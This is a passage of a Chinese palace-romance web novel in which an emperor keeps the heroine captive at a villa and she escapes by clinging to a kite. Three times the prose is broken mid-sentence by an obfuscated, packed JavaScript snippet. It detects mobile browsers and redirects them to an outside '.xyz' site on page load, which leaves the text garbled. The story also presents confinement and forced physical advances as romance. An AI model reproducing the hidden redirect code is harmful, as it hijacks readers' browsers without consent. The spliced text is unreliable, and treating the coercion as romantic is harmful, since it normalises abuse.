安文夕知道自己挣扎不脱,也懒得再去费力,只得由着他牵着。 虽然他平日里冷若冰山,离他太近就会被冻得无法呼吸,可是他的手却十分温暖。 北宫喆拉着安文夕慢慢的走着,宛然一副少年夫妻午后散步的情景。 走了不久,便已经步入了南院,这是安文夕第一次来这里,目之所及是一汪望不见尽头的湖水,举目四眺,微波粼粼的水面在淡薄的阳光下泛出点点光芒,空旷的空间令她的视野豁然开朗。 湖中心有一处小岛,被花草树木围绕着,景色美不胜收。 安文夕不仅止住了脚步,问道:“你带我来这里做什么?” 北宫喆没有回答,径直拉着她走进湖边。 安文夕看见湖边上停泊的小船,顿时明白了北宫喆的意图,就在她准备自己跳上小船之时,北宫喆却紧紧的揽住了她的腰肢。 “搂紧我。”话音刚落,北宫喆已经运气轻功带着她飞跃湖面。 从岸边到湖中岛至少有五百米的距离,这对习武之人来说,用轻功掠过去并不是易事,更何况,北宫喆怀中还抱着她。 只见他足尖轻点,踩着湖面,如履平地。 北宫喆带着安文夕行至小岛之上,稳稳地落了地。 早开的山茶花开满了整个小岛,红**紫,将小岛装点的姹紫嫣红。阵阵淡雅的花香扑入鼻翼,在这清冷的冬日里增添了抹清新。 “这里。”北宫喆将她引至暖阁。 安文夕抬头看见汀兰阁三个龙飞凤舞的大字,和这婉约的建筑颇为不符。看那熟悉的字迹,安文夕了然,这是北宫喆亲笔题的字。 安文夕刚踏入暖阁,便有一种熟悉的感觉扑面而来,这里的一桌一椅,一花一草,皆是按着上房,也是未央宫的布置来摆放的。 安文夕心中蓦地涌出一抹感动,目光在所有的陈设上面流连一遍,嘴角慢慢上勾,浮现讥讽的笑来,这北宫喆为了她可真是煞费苦心! “你若是喜欢这里,明日便可让钟叔帮你搬到此处。” 湖中心的小岛,环境宜人,且无人打扰,的确是个好居处,但是这话从北宫喆嘴里说出来就变了味,安文夕觉得北宫喆不过是想进一步将她囚禁在此处罢了。 当即冷冷道:“不必了,我住不惯这里。” “你不妨看看这里再做决定。”北宫喆引着她走向内室。 “不必了,我又不是你金屋藏娇的女人,不需要住得这般隐蔽。” 北宫喆脸上淡淡的笑意慢慢消逝,握着安文夕的手不觉得加大了分力度。 “随你。”北宫喆顾自坐下,给自己倒了杯茶,瞥了眼浑身带刺的女人,浅啜一口。 然后对她冷道:“过来!” 第108章 不想领情 第一百零八章不想领情 冷不丁的被**力的拉了过去,安文夕一个踉跄,而她此时赫然坐在了北宫喆的大腿上,他的双臂圈着她的腰肢,让她无处可逃。 感觉男性特有的刚阳气息混着淡淡清凉梨香萦绕着她的鼻翼,安文夕蓦然抬头,对上北宫喆幽深的黑瞳。才发觉他的鼻息离她不过是一指的距离,她猛地后退,不料却被他一把掼进怀中,为了防止撞上他的唇,安文夕低着头,额头狠狠地砸在他的胸膛上。 安文夕略略皱眉,右手揉着额头。 “知道疼就给朕安分点!” “北宫喆,你到底想怎样?” “朕想怎样你难道不明白么,朕想让你对朕上点心,爱上朕!”北宫喆一手圈着她,另一只手勾着她的下巴,让她和他对视。 “你**这条心吧!”安文夕咬牙。 “你什么时候才能看清自己的心!” “我心里怎样想的,我自己最清楚,你以为仅仅靠着相思蛊就能锁住我了?这绝不可能,就算天下的男人死光了,我安文夕都不会爱上杀父仇人!”安文夕看着他双目如沁冰霜,歇斯底里道。 北宫喆收紧了揽在她腰间的手,低头欲含丨住那娇艳欲滴的蓓蕾,不料安文夕偏头躲避道:“你以为我还会让你得逞第二次么?” 她低头一口咬在北宫喆肩胛处,双手亦不断地挣扎起来。 北宫喆扣住她的双手,怒斥道:“你若是不想让朕在这里要了你,就不要再乱动!” 安文夕嘴里弥漫着血腥,抬手擦到嘴角的血迹,“你被千人骑万人枕,不觉得脏么,别来碰我!” 她和他相比,力量悬殊,她奈何不了他,就气死他好了! 北宫喆听明白了她话里的意思,脸色登时黑成了锅底,握着她的手力道不自觉加大了一分。 半晌,北宫喆蓦地勾唇,“你还在意这个?” 安文夕冷嗤一声,没有说话。 那鄙夷的神色令北宫喆心中一刺,半晌,他才压抑着心中的怒气对她道:“这里相对更温暖一些。” “我不需要。”可惜,她并不想领情。 北宫喆眸光一黯,“这小岛本就是朕为你而建,你既然不喜欢朕就将它移走!” “随便!” 看着安文夕决绝的神色,北宫喆腹中顿时凝结了一口气闷气,他三番五次交付真心,却次次被她狠狠践踏。 他不止是心痛,更多的是心累。 北宫喆抿了抿唇,放开了安文夕,冷着一张脸径直出了汀兰阁。 安文夕淡漠的扫了眼他的背影,随即给自己倒了杯茶,小口啜了下,没想到这茶还挺不错。 安文夕在殿下随意的看了看,然后又转身去了内室。果然,所有的一切皆是按着她的喜好来布置的。 待她出了汀兰阁看着外面一片汪丨洋的湖面时,一时有些傻了眼,来时是北宫喆用轻功将她带到此处的,那小船还停泊在对岸,且不说她的内力没有完全恢复,就是放在以前,这么远的距离,她也没有把握可以顺利的飞越过去。 这大冷的天,难不成要让她游到对面么? 安文夕来回在岸边踱着步子,黛眉轻挽,待看到汀兰阁的木门时,眼前一亮。 或许,她可以利用这个回到对面。 她还未来得及动手,一袭紫袍的北宫喆蓦然从房顶之上骤然落下,衣袂翩翩,只是他的脸色似乎比刚才更冷了几分。他幽深的眸子朝她看来,一阵彻骨的寒意立即扑面而来。 北宫喆一把提起安文夕,紧紧的夹在腋下,不容她反抗,带着她轻松地从湖面掠过。 上了岸,北宫喆将安文夕扔在岸上,然后一个人铁青着脸,一言不发出了南院。 管钟看着北宫喆脸上带着怒气,再看到他肩胛处的淡淡血迹,不由得心中微微吃惊。 “皇上,老奴为您包扎一下吧。” “不必了,备马,回宫!” 管钟不知发生了何事,只见北宫喆脸色黑的厉害,他不敢多言,低着头跟在北宫喆身后。 将北宫喆气走,安文夕心中不仅没有释然,反而有些烦闷,照着来时的路线回到了上房。 此时距离年关不过半月,安文夕身在这深山老林中,消息闭塞极了,仿佛与世隔绝一般。 由于她将北宫喆气走,接下来的十余日,北宫喆再也没有来过。 安文夕待在这青末山庄十余日来,丝毫没有什么逃跑的念头,大家不禁松了口气,但是警戒却并没有松懈下来。 她每日里用过膳,就在这山庄四处走动,东院的梅林固然美丽,但相对于枫月谷大片的梅林到底是差了些。至于南院,如今处在冬季,除了那一汪湖面和湖中心的小岛,也没有多少景致。倒是西院,安文夕去的多一些,几乎每日都要去走一走。 西苑的观景楼几乎被四周高大的树木完全遮住,人站在上面颇有些幽深的意境,安文夕喜欢这种感觉。 她立在观景楼上,透过郁郁葱葱的树木,俯瞰着整个山庄的景色,亭台楼阁,虽是冬日,景色却有几分盎然。 据她这么多日的观察,观景楼被树木环绕,且高大的乔木枝杈丛生,利于攀爬,她若是想逃,这观景楼也算是最佳场所了,只是隐在暗处的羽卫不是省油的灯,她的一举一动又皆在监视之中。 安文夕看着飞窜在几棵大树见的野雀,双眸蓦地一亮,随即淡淡的勾了勾唇。 “娘娘,我们回吧,您已经在这里待了将近两个时辰了。”红绫搓了搓冻得渐渐失去知觉的双手。 安文夕的鼻尖冻得通红,而她仿佛浑然未觉一般,依旧靠在观景楼的栏杆上,俯视着下面,眼睛看着上房后面那一片翠绿的竹林,眸光深深。 这竹林,倒是葱荣。 红绫顺着她的视线看去,小心的解释道:“那一片竹林诡异的很,奴婢从还不敢去那里,听小和子说,以前那底下是一片墓地,后来上面生出了竹子,这些竹子靠着**的气息长得越来越繁茂,总之那里阴气过重。但听钟叔说,皇上倒是挺喜欢那竹林。” 安文夕看着红绫一脸凝色,不像是作假。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365935|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她杏眸微缩,垂下了眼睑,她曾暗暗观察过,那竹林内分明布有机关,说是诡异、阴气过重不过是掩人耳目罢了。 她不是好奇心重的人,但是却很想知道北宫喆在那里藏了什么,她一直有直觉那竹林中的东西和她有关系。 可是,竹林处隐在暗中的羽卫反而不多,到底是北宫喆在故意试探,还是她想多了? 安文夕看着冻得麻木的红绫,淡道:“罢了,回吧。” 由于她喜欢在观景楼观看风景,钟叔就在观景楼二楼上安置了临时的寝殿,虽然布置不如上房齐全,但尚且可以让她在此歇歇脚。 安文夕捧着杯热茶,不紧不慢的啜着,觉得整个身子都暖了起来。 这天晚上,天空之中再次落了雪,纷纷扬扬,这场大雪足足下了一天一夜,安文夕虽然喜欢雪,但是天气冷的厉害,她也懒得动,一直在屋子里闷了两日。 转眼之间,已经到了年关。 她靠在窗前,看着渐渐暗下来的天色,她的心情也一点点灰败下去。 除夕夜,本是家人团聚的日子,安文夕一个人守着整个空旷的山庄,心中酸的厉害。 她先祭拜了逝去的父皇、母后和王叔,然后一个人早早的窝进了被窝,连晚膳也没有用,任红绫唤了半天也没有答应。 红绫只当她是困了,便没有再吵她,在她的外间守夜。 而竹林的深处,安莫霖望着上房的方向,微微叹了口气,明明是这么短的距离,而他却不能父女相见。 他的手握紧了莫虞的手,喃喃道:“阿虞,咱们的夕儿长大了,模样比你还美,可惜你不能亲眼看看她的样子。” “还有咱们那个没有出世的孩子,若是现在活着的话,也有十岁了。”安莫霖眼底涌出莫大的悲戚来,眼中泛起了泪花。 床上的女子依旧紧闭着双眼,而她身上的衣物和满头的青丝却纤尘不染。 安莫霖指尖流连在她的脸上,似悲悯,似怜爱,久久的凝视着她。 窗外传来阵阵风吹竹叶的声音,沙沙作响,安莫霖为莫虞掖了掖被角,再次瞥了眼上房的方向,叹道:“除夕夜,如此,我们也算是一家团圆了。” 安文夕抱着被子,心中涌起一阵阵烦闷,心头更是笼罩着一层悲戚,在这偌大的房间内,她突然觉得孤寂的厉害。 她索性坐了起来,靠在一旁,懒洋洋的闭着眼睛。 突然,门口传来一声“吱呀”的开门声,她以为是红绫出去了,并没有多想。 红绫被开门的动静惊到,温暖的房内突然灌入一股凌冽的寒风,她顿时一个机灵,看到推门而入的男子,刚想行礼,却被他制止。 北宫喆递给她一个退下的眼神,然后自己径直去了内室。 北宫喆掀开床幔,看见她只着单衣靠在床榻上,不禁蹙了眉头。 伸手捉住她的双手,冰凉的触感令他微锁的眉头更深了几分。 温暖的触感令安文夕一惊,蓦地睁开眼睛,透过微弱的烛光,对上那双写满了不悦的黑瞳。 第109章 你赶朕走 第一百零九章你赶朕走 安文夕心中一惊,他怎么来了? 今天是除夕夜,宫里会有国宴,必定会忙得不可开交,他怎么会有时间来这里? 北宫喆看着女子淡漠的神情,只觉得自己真是疯了,策马狂奔了两个时辰,只为了能陪她一起守夜,可她根本就不想他来。 北宫喆抬手欲解开身上的腰带,似是发现了什么,手中的动作一顿,“睡这么早,是不是没有用晚膳?” 榻上的女子没有作答,他回头对着外间吩咐道:“摆膳。” 安文夕立即将自己缩进被子里道:“我不饿,不想吃。” “那就陪朕吃!”北宫喆将她的衣物递给她,示意她起床。 “你若是想吃就自己吃!”安文夕翻了个身,只给北宫喆留了个后背。 北宫喆心中一涩,他不惜提前摆了宫宴,然后抛下满宫的人来到这里,换来的却是她的横眉冷对么…… 他握了握拳,放柔了声音道:“夕儿,吃点东西再睡也不迟。” 回答他的除了寂静还是寂静,他抿了抿唇,将床上的女子一把捞起,禁锢在怀中。 “你干什么啊?”安文夕不耐,都说了不吃,还要怎样? 她扫了眼北宫喆一脸寒冰的脸,挽了黛眉,他心里不爽,她心里也烦闷的厉害,所以不要来招惹她! “回皇上,晚膳已经摆好,现在是否用膳?”红绫福身行了一礼。 “朕知道了,你先退下吧。” “来吃点东西。”北宫喆拿起安文夕的衣物不容她拒绝的往她身上套去。 安文夕死命的抱紧了身上的被子,似乎要和北宫喆死扛到底。 北宫喆黑瞳骤缩,一把扯开她身上的被子,扔到床下,怒道:“朕有的是方法让你乖乖听话!” “既然不想用膳,那就就寝吧!”说着大手伸向安文夕身上的单衣。 安文夕侧身一避,随手捞过床榻上的衣服,敏捷的下了榻,旋身之际,已将衣服全部穿在了身上。 立在身后的北宫喆不动声色的勾了勾唇,眼底飞快的掠过一抹和冰冷的脸庞不相称的狡黠。 她径直来到外间,看着桌子上的食物,肚子里的馋虫活跃起来。 北宫喆施施然落了坐,执起银筷,为她布菜。 安文夕闷头吃饭,北宫喆依旧冷着一张脸,两个人一时无话。 看着她专心吃饭那安静的样子,北宫喆心中蓦地涌出一阵温暖,能和她一起简单的用次膳,静静地看着她,这种感觉也十分美好。 如此,便好。 安文夕感觉到院子头顶的视线,手中的动作微微一滞,胸中一闷,放下筷子,走进内室,唤来红绫伺候她洗漱。 看来今晚北宫喆时打算宿在这里了,想起初来那日,安文夕的心蓦地一沉。 果然,等她洗漱完毕,北宫喆已经坐在了床榻上,她一时有些踌躇不前。 “夕儿,过来。” 北宫喆起身将她揽住床榻上,张开了双臂道:“为朕宽衣吧。” 他的这个动作娴熟无比,仿佛做过了无数次一样,安文夕心中突然一刺。 “我又不是你的那些妃子,更何况,今天你不许睡在这里。” “这是朕的地方,你赶朕走?” 安文夕翻身上榻,用厚厚的床幔遮住自己的身子,只露出个脑袋,警惕的看着北宫喆。 北宫喆自己解了腰带,然后一一褪下身上的衣物,露出精瘦的上身,常年未见阳光的皮肤十分白皙。 他大力的一把扯开床幔,慢慢将安文夕逼近床角,勾唇道:“难道非得逼朕对你粗鲁么?” “滚开!” 安文夕刚提脚,就被北宫喆一把握住,他用力一拉将她拉至身下,迅速将她身上的衣服剥落,待看到她月白的里衣时,指尖一滞,将她整个儿捞在怀里,拉过被子盖在两个人身上。 后背处温暖的触感令安文夕身子一颤,立即弯起了身子,不料却被身侧的人抱得更紧了,他的臂弯紧紧的揽着她。 “北宫喆,你要把我囚禁到什么时候?” “一辈子。” 那轻淡的语气却霸道至极,充满了宠溺,安文夕的心似乎不受控制的骤然跳了两下。 半晌,安文夕吸了口气,“春天快要来了,我想放风筝了。” 身侧的人没有说话,耳边有温热的气息喷薄在她的耳翼,有些痒痒的,安文夕顿了顿又补充道:“就像以前那样。” “嗯。”北宫喆轻轻发出了一个音节。 “元宵节,你带我去看花灯好么?” 北宫喆闻言,脸色倏地一变,冷道:“你想趁着人多逃走?有朕在,你就**这条心吧!” 安文夕嘴角勾了勾,一时静默无言。 片刻,那厢传开男人低沉的嗓音道:“你若是嫌这里太闷,朕可以陪你去看花灯。” 过了一瞬,他再次道:“别想在朕眼皮子底下耍什么花样。” 安文夕冷嗤道:“我在你面前还能耍花样么?”都已经成为他的阶下囚了,她还能如何? “你知道便好。”这一声冷意渐淡。 安文夕抿了抿嘴角,眼中一片清明。 “北宫喆,你放开我,太紧了,我有些喘不过来气。”她挣扎不脱,只得软下了语气,靠的太近,他的气息令她有些不自在。 她一直都像一只长满尖刺的刺猬一般,一时收了爪牙,令北宫喆一愣,微微松了些力道,然而他的手却慢慢的抚上安文夕的后背,一下下轻抚,细密温柔,安文夕霍然睁开了双眸,立即按住了他的手。 不料他的令一只手更是大胆的伸进她的里衣,朝她的胸前探去。 安文夕一惊,差点从床上惊起,一只有力的臂膀拦住了她,一道略微有些嘶哑的嗓音道:“朕不再碰你便是,安心睡吧。” 她的腰上搭着一只大手一动不动,十分规矩,安文夕松了口气,心中蓦然涌出一阵温暖。 北宫喆微叹一声,还是她卸去一身尖刺的时候最可爱。 第二日安文夕醒来的时候,身边的人早已离去,枕边留着他身上淡淡的味道。 “娘娘,您醒了。”红绫见她醒来,立即端来了搭着毛巾的铜盆伺候她起床。 安文夕慢条斯理的穿好了衣服,洗漱完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371343|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕,用了晚膳。 “娘娘,今天是大年初一,山庄里本没有多少人,因着娘娘在这里,钟叔和小和子、小顺子做了些吃食,想献给娘娘,也算是给娘娘拜了年。” 安文夕靠在美人靠上,心中一动。这山庄的确冷清,一点年味也没有。 “我自己倒也冷淡的慌,上午的时候让他们一起用膳吧。” 午膳时分,钟叔带着两个模样俊朗的小太监进了上房,平时安文夕所有事宜都由红绫打理,她对这两个小太监只在散步时见过几个侧面,印象不深。 “奴才给瑾淑妃娘娘请安。” “起来吧,都不必拘礼。” “娘娘,这是皇上快马加鞭为您送来的礼物。”管钟令小和子和小顺子将身后的东西抱进了室内。 看到那些花花绿绿的图案,安文夕嘴角一抽,这是北宫喆送她的风筝? 她走过去视线一一掠过,有大有小,有长串、有桶式、有硬翅、还有软翅,凡是市面上可以买的到的,皆被他搜罗了来,安文夕的心蓦地一涩。 他一直想着讨她欢心,而她却筹谋着如何逃离…… 钟叔看了眼她的神情道:“皇上说娘娘闷了,先放放风筝打发打发时间,过几日他就来接娘娘出去看花灯。” 安文夕点点头道:“有劳钟叔了。” 管钟摆了摆手道:“将吃食为瑾妃娘娘呈上来。” 凤尾鱼翅、宫保野兔、八宝野鸡…… 这一餐倒是丰盛,安文夕淡扫了眼对钟叔道:“左右没有外人,你们都一同坐下吧。” “奴才不敢。”小和子和小顺子皆垂下了头。 “在我这里不需要这么多的规矩。”安文夕悠然落座。 “瑾淑妃让你们坐下,你们坐下便是。”管钟率先一撩衣袍,坐下了安文夕下手,红绫也挨着安文夕坐了下来。 那两个小太监见管钟和红绫如此,虽然胆怯,但还是一一落了坐,只是神情有些不自然。 经过这件事后,安文夕和管钟以及小和子和小顺子的关系亲近了许多,平时但凡安文夕有什么吩咐,他们皆尽心尽力,让她满意。 过了大年初一之后,接下来几日,天气渐渐放晴,地上的积雪也慢慢消融,安文夕便央红绫拿了北宫喆送来的风筝去了东院。 东院安置了一排厢房,厢房和梅林之间一片很大的空地,正好可以来放风筝。 每次安文夕放完风筝出了东院,经过竹林,总是有意无意的在此徘徊片刻,眸光深深,望向竹林,仿佛想窥探什么一般。 经过几次之后,守卫在此处的羽卫不动声色的多了起来,安文夕再次经过之时,便再也不敢逗留。 “红绫,将我的风筝拿来。” “娘娘,还要去东院么?” “不了,今天去西院。”安文夕起了身,换上了较为轻快地衣服。 “好,奴婢这就去拿风筝。”红绫没有异议,只是有些奇怪春天还没有到,娘娘怎么如此热衷放风筝,竟然每天都要去跑一圈。 每次娘娘穿的衣服都很单薄,她怕长此以往,娘娘不小心染了风寒,皇上怪罪下来,就糟了! 第110章 声东击西 第一百一十章声东击西 安文夕一连三日皆在西院放风筝,有时甚至看着天空中的风筝怔怔发呆,一开始红绫还心存疑问,时间一长便习惯了她如此。 如今已经是初十了,她已经在这青末山庄待了半月有余,每天吃了睡睡了吃的生活几乎将她闷得浑身发霉。 更重要的是,这里尽在北宫喆的掌控之内,她根本无法跟外界取得联系,至今为止,她已经足足有一个月没有和晟哥哥联络了。 无论如何,她都必须赶在元宵节之前离开! “红绫。” “娘娘今日是要去东院还是去西院?”红绫见她换好了衣服,于是将她的风筝拿来。 “西院。” 安文夕扫了眼红绫手里的风筝道:“太小了,你去换只大的来。” “是,娘娘。” 过了片刻,安文夕看着红绫手中足有一人高的风筝,满意的点点头,她双手攥了攥掩在红衣里面那身颜色和风筝颜色快要融为一体的衣服,不动声色的勾了勾唇。 今天她特意在里面多穿了件衣服。 “娘娘,我们走吧。”红绫收了手中的风筝。 到了西院,安文夕并没有像以前那样开始放风筝,而是上了观景楼,在上面驻足许久才缓缓下了楼。 隐在这处的羽卫还不少,得想办法将他们引开才是。 放了一会风筝,安文夕有些倦怠的坐了下来,将风筝的线交给了红绫。 红绫见她精神有些不济,以为她是累了,便道:“娘娘,您若是累了,不如我们回去吧。” “我不累,你先在这里等我,我回上房一趟。”安文夕起身时打量了眼空中的风筝。 “是,娘娘。”红绫不疑有他,慢慢放线,专心的擎着手中的风筝。 安文夕回到了上房,然后掠到东院,沿着小径进入竹林,刚踏入竹林入口处,蓦地从上方跃下两个墨衣羽卫,上前拦住了她。 “瑾淑妃娘娘,这里不是你该来的地方,请回吧。” 安文夕勾唇道:“我来这里想要寻一样东西。” “这竹林阴气过重,只怕没有娘娘要找的东西,更何况,若是娘娘遇到什么不测,我等无法向皇上交代。” “我不过去去就来罢了。”安文夕身形一闪,转瞬消失在了他们面前。 只余下两个羽卫相互对视了一眼,皇上特地交代,千万不要让瑾淑妃靠近竹林,难道瑾淑妃发现了什么?前几日瑾淑妃借着放风筝的由头,在此徘徊。之后,瑾淑妃去了西院放风筝,让他们稍稍放下了心,难不成这是声东击西? “追,你去调人过来。”墨衣羽卫说完,身影立即消失不见。 “你多加小心,这竹林的阵法只有皇上一人能破。”另一个人嘱咐了一句。 安文夕早就知道竹林中有机关阵法,不敢大意,她此行的目的不是硬闯竹林,而是打草惊蛇。 她飞快的在竹林中穿梭着,躲避着羽卫的追击,然而在他们看不见她时,她则会显露出自己的衣角,慢慢的将他们引至竹林。 安文夕好似在和羽卫捉迷藏一般,一直躲躲藏藏,觉得被她引到竹林的羽卫差不多时,飞快的绕着竹林想从一侧返回上房。 前方的几株竹子好像有些不同寻常,特别容易干扰人的视觉,明明是稀疏的竹子,却给人一种郁郁葱,看不见尽头的感觉,想必此处便要入阵了吧。 尽管想进去一探究竟,可是她知道自己现在时间宝贵,根本耽误不起。 安文夕眸色一凛,看了眼竹林深处,握了握拳,在入阵处擦身而过。 若是当时她踏进了阵法之中,结局会不会有所不同,多年后她常常问自己,也许会少些颠沛流离与彼此折磨。 安文夕虚晃一招,利用竹林隐了身形,在羽卫看来,分明是闪身进去了竹林深处。 他们眼中皆掠过凌色,就在他们犹豫要不要进去的时候,一身形高大的男子突然说道:“此事只怕有蹊跷,先派人通知皇上!” 一旦进了竹林,他们只怕是再也无法出来,因此,所有的羽卫皆不敢轻举妄动,只能在竹林阵法的入阵处四下守着。 安文夕双眸骤缩,满意的勾了勾唇,从竹林中闪身出来,匆匆掠过上房,褪去身上的红衣,以迅雷不及掩耳之势上了观景楼。 安文夕看着飞在空中,离自己不远的风筝,然后俯瞰了眼下方擎着风筝的红绫,眸中迸出凛色。 红绫,对不起了! 安文夕右手一翻,一片薄如蝉翼的刀片带着凌冽的力道飞快的削断红绫手中的风筝细线。 “啊,风筝的线怎么突然断了?”红绫欲伸手去抓,不料断了线的风筝却越升越高,她根本就来不及抓住。 “这可怎么办?”一向沉稳的红绫脸上出现了惊慌。 “砰——” 就在这时,一声细微的声音在她身后响起,红绫蓦然回头。 而一直隐在观景楼的安文夕伺机而动,掷出手中细不可见的铁丝迅速攀到观景楼周遭的大树上,然后蓦地贴在风筝下面,依此为护,不断的往山庄外面攀爬。 借助风筝逃跑,她也算是开天辟地头一回了。 待红绫回过神来,刚才断了线的风筝早已经脱离了她的视线,她的眼中有抹焦急,她想,娘娘平时是个好说话的人,她弄丢了她的风筝,娘娘应该是不会为难她的吧。 守在竹林中的羽卫迟迟不见安文夕的人影,心暗暗沉了下来,似乎察觉了什么,便从竹林的羽卫中抽出了一部分到山庄各院巡查。 红绫看见墨衣高大的男子赫然出现在了她的眼前,她先是一惊,随即问道:“这位大人,您有什么事么?” “你是瑾淑妃的贴身侍女,你可有见到瑾淑妃?” “娘娘不见了?”红绫惊道。 那人微微点了点头,“她在和你一起放风筝?”他若有所思的看了眼地上的绕线匝。 “娘娘刚才还在和奴婢一起,后来她说要回上房一趟,一直到现在还迟迟没有回来。” 那人脸色顿时一变,心中暗呼不好,只怕他们全部着了瑾淑妃的道了。 “大人,怎么了?娘娘她……”红绫看着他突变的脸色,心中隐隐闪过一抹不安来。 “你放的风筝呢?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371344|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“回大人,刚才风筝的线突然断了,然后风筝就……” 那人不待红绫说完,便纵身越至树杈上,然后不断的跳跃。 “哎,娘娘怎么了,您还没有告诉我?”红绫急急追了两步。 刚才那人一直追出了山庄,走了不远,看到地上的风筝,悬着的心一下子沉到了谷底。他们一直警惕了这么多日,到底还是让她逃走了! 他向空中发了一颗信号弹,招来山庄的羽卫,沉声道:“瑾淑妃不见了,你们立即去追,我速速去禀告皇上!” 众人看着他手中拖着的风筝,心中顿时明了。 他们皆以为瑾淑妃要利用风筝向外界传递消息,不料她竟是利用它逃跑,这么隐蔽而奇怪的心思,真是让他们防不胜防。 从瑾淑妃一开始放风筝,到竹林的窥探,再到今日私闯竹林,都是为了今日的出逃而步步为营吧。 这的确是声东击西,不过她的目的不在竹林罢了! 如此聪慧的女子,令他们除了惊叹便只剩下惊艳了。 一位羽卫快马加鞭匆匆赶去夏宫,径直奔向凌波殿,看到伏案执笔的男子,压力骤增,他双膝跪地道:“启禀皇上,属下无能,让瑾淑妃进了竹林,到现在还没有出来。” “咔嚓——” 北宫喆手中的朱笔应声而断,他倏地仍到一旁,锐利的黑瞳缓缓抬起。 “怎么回事?” “瑾淑妃今日突然进了竹林,白羽亲眼看见她进了阵法,且迟迟没有动静。” 那她现在要么被困在了阵法之中,身受重伤,要么已经破了阵法,进入了北院! “混账!”北宫喆眼底泛着怒气,他养这些羽卫都是死的么,连一个弱女子也看不住! “属下该死,皇上息怒。”那人伏在地上,大气也不敢出。 这时,琼华殿外再次响起了一阵脚步声,刚才那位身形高大的男子立即行礼道:“属下白羽叩见皇上。” “瑾淑妃并没有进竹林,而是利用风筝逃跑了!” 北宫喆闻言,眼底一片清明,那日她跟他说想放风筝他就该猜到今天的情景,可是他可是决定要赌一赌,最终,他输得一无所有。 他慢慢跌坐回龙椅,慢慢闭上了眼睛,感觉到心前所未有的疲惫。 “你们退下吧,不必再追,将青末山庄的羽卫统统撤掉。” 二人脸上闪过惊诧,这不像是皇上一贯的作风,不管怎样,他以前必定会去看一眼的,而如今怎么表现得如此平淡? “属下告退。”二人心中掀起波澜,而脚下的动作却丝毫不敢迟疑。 北宫喆起身走进了内殿,看着殿内摆满的莲花灯,唇角逸出一抹苦涩的笑。 “皇上,你看看奴才摆放的如何?”张海忙道。 北宫喆淡淡扫了一眼道:“都拿去扔了吧。” 扔了? 张海心中闪过巨大的惊骇,这皇上好端端的怎么脸色有些不对啊? 这些天来,皇上每天都要抽空亲手做莲花灯,专注而认真,嘴角都挂着淡淡的笑意,那温柔的神情他只在皇上曾经看瑾淑妃的时候见到过。 第111章 千抬为聘 第一百一十一章千抬为聘 那一日皇上突然宣布夏宫再无瑾淑妃,众人都说瑾淑妃被皇上赐死,他张海自然是不信的,他这几日一直暗暗猜测,皇上此番行为怕是为了瑾淑妃。 可是,今日为何要将他辛辛苦苦做出来的莲花灯扔掉呢? 北宫喆见张海迟疑,再次沉声道:“朕说了扔掉!” 他留住她的人,也留不住她的心。 如果可以,他真想看看她的心究竟是什么做的,为何他做了这么多,她却丝毫不为所动。 “青玄。” “属下在。” 北宫喆敛尽眸色,“你去守在凤青轩。” 青玄脸上划过惊讶,然后抱拳应是。 “招风明、易寒进宫。”北宫喆蹙了蹙眉。 看着逐渐消失在视线内的青末山庄,安文夕舒了口气,此时的她如一匹脱缰的野马,心情愉悦极了。 他以为那些羽卫就能困住她了么? 他千方百计的想将她囚在身边,而她偏偏要让他失望。 早在来时,安文夕就暗暗拆散了自己身上一直带着的珍珠手链,每走不远就将一粒珍珠散落在不起眼的地方,就是为了今日可以顺利逃脱。 可是现在她怎么也找不到了,而这里并无人烟,唯一的解释就是北宫喆发现了,早就将珠子收了起来。 既然这样的话,为何这么久了却迟迟不见羽卫追来? 安文夕不敢懈怠,认准了一个方向,拼命的往前赶,两个时辰过后,总算是走出了一望无际的树林。 安文夕放慢了脚步,这才后知后觉有些冷了,她为了逃跑顺利,特地穿了轻便的衣服,刚才一直奔走不觉得,猛然停下来,才发觉深山中冷沁的山风格外的刺骨。 来的时候坐着马车还花费了整整好几个时辰,如今徒步而行两个时辰,依然身在山中,看着前方那座高山,也许翻过这座山就可以看到城镇了。 可是仅凭她两个腿走的话,不知道要走到什么时候。 她抿了抿唇,走了不久,听到一阵细微而又悠长的马蹄声,安文夕神情一动。 过了不久,一老者摇着牛车缓缓出现在了安文夕的视线内,她心中一喜,立即迎了上去道:“老伯,能不能带我一段路?” “只要姑娘不嫌弃老头子牛车脏,就上来吧。”老者笑呵呵道。 “只要老伯能带我一程,我已经感激不尽了,怎么会嫌弃。” 牛车上面码了整整一车的薪柴,为了给安文夕腾出来坐的地方,老伯将树枝往后挪了挪,看着她衣服光鲜的样子,又用衣袖擦了擦身侧的地方,这才让安文夕落座。 安文夕看着心中一暖,“谢谢老伯。” 